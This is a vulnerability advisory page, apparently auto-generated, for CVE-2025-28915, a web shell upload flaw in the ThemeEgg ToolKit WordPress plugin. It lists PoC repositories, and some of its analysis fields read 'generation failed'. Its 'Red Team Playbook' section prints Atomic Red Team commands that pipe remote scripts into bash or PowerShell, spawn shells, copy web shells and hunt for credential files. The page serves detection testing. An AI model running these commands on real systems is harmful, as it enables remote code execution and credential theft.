CVE-2025-28915
Overview
This vulnerability is an unrestricted file upload flaw classified under CWE-434. The root cause lies in insufficient validation of uploaded file types within the Theme Egg ThemeEgg ToolKit plugin, specifically in its file handling component. The affected feature improperly permits uploading files containing executable code, such as web shells, without proper sanitization or restriction mechanisms.
Vulnerability Description
Unrestricted Upload of File with Dangerous Type vulnerability in Theme Egg ThemeEgg ToolKit themeegg-toolkit allows Upload a Web Shell to a Web Server.This issue affects ThemeEgg ToolKit: from n/a through <= 1.2.9.
Impact
An attacker with high-level privileges can upload and execute arbitrary code on the affected web server, leading to complete system compromise. This enables unauthorized access to sensitive data, modification or deletion of files, and potential lateral movement within the network. Exploitation requires authenticated access with elevated permissions, but no user interaction beyond the upload process is necessary. The business impact includes data breaches, service disruption, and loss of system integrity.
Solution
Users should upgrade Theme Egg ThemeEgg ToolKit to version 1.3.0 or later, where this file upload vulnerability is addressed. Detailed patch instructions and advisories are available at Patchstack's database entry for this plugin: https://patchstack.com/database/Wordpress/Plugin/themeegg-toolkit/vulnerability/wordpress-themeegg-toolkit-plugin-1-2-9-arbitrary-file-upload-vulnerability?_s_id=cve. No vendor workaround is documented; applying the update is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability in the ThemeEgg ToolKit theme allows for the unrestricted upload of files with dangerous types, which can lead to severe security breaches. This flaw occurs due to inadequate validation of file types during the upload process. Attackers can exploit this weakness by uploading malicious files, such as web shells, which are scripts that provide remote access to the server. Once a web shell is successfully uploaded, the attacker can execute arbitrary commands on the server, manipulate files, and potentially compromise the entire web application and its underlying infrastructure. The affected versions of the ThemeEgg ToolKit, specifically those up to and including 1.2.9, lack the necessary safeguards to prevent such dangerous file uploads.
Attack vectors for this vulnerability are relatively straightforward, making it accessible to a wide range of attackers. An adversary could craft a malicious file disguised as a legitimate upload, bypassing any superficial checks that may be in place. Common exploitation scenarios include uploading a PHP or ASP web shell, which can then be accessed through a web browser. Once the attacker has control over the web shell, they can perform various malicious activities, such as data exfiltration, defacement of the website, or lateral movement within the network to target other systems. The simplicity of this attack vector, combined with the widespread use of the ThemeEgg ToolKit, amplifies the risk of exploitation.
The real-world impact of this vulnerability can be significant, especially for organizations relying on the affected theme for their web presence. Successful exploitation can lead to unauthorized access to sensitive data, including customer information and proprietary business data. This breach can result in financial losses, damage to reputation, and potential legal ramifications due to non-compliance with data protection regulations. Furthermore, the presence of a web shell can facilitate further attacks, allowing adversaries to pivot to other systems within the network, leading to a broader compromise. The business risk associated with this vulnerability is heightened by the potential for operational disruption and the costs associated with incident response and recovery.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the ThemeEgg ToolKit to the latest version is crucial, as it may contain patches that address this vulnerability. Additionally, organizations should employ web application firewalls (WAFs) to filter and monitor HTTP requests, blocking any attempts to upload potentially dangerous file types. Implementing strict file type validation and sanitization measures on the server side can further reduce the risk of malicious file uploads. Regular security audits and vulnerability assessments should also be conducted to identify and remediate any weaknesses in the web application’s security posture.
In conclusion, the unrestricted upload of dangerous file types in the ThemeEgg ToolKit poses a serious threat to web applications utilizing this theme. The ease of exploitation, coupled with the potential for significant real-world impact, necessitates immediate attention from organizations using this product. By adopting proactive detection and mitigation strategies, businesses can safeguard their web environments against this and similar vulnerabilities, thereby enhancing their overall security posture and reducing the risk of costly breaches.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-28915, with new exploit attempts emerging after a period of dormancy. This resurgence is underscored by the appearance of publicly available proof-of-concept exploits hosted on GitHub, increasing the accessibility of attack methods for threat actors. Although the EPSS score remains low and stable, the sudden uptick in telemetry signals a growing interest among adversaries in leveraging this vulnerability to deploy web shells, which can facilitate persistent unauthorized access and lateral movement within compromised environments. For defenders, this development elevates the urgency of monitoring for suspicious file uploads and reinforces the need to prioritize this vulnerability within patch management and detection frameworks. While the overall threat level has not yet escalated to widespread exploitation, the evolving landscape suggests a heightened risk of targeted attacks exploiting this weakness, necessitating vigilance in environments utilizing the ThemeEgg ToolKit plugin.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2025-28915
WordPress ThemeEgg ToolKit plugin <= 1.2.9 - Arbitrary File Upload vulnerability
|
Nxploited | 1 | 0 | 2025-03-12 | View |
|
Pei4AN/CVE-2025-28915
|
Pei4AN | 0 | 0 | 2025-03-14 | View |
Threat Feed
2 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-28915 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/themeegg-toolkit/vulnerability/wordpress-themeegg-toolkit-plugin-1-2-9-arbitrary-file-upload-vulnerability?_s_id=cve |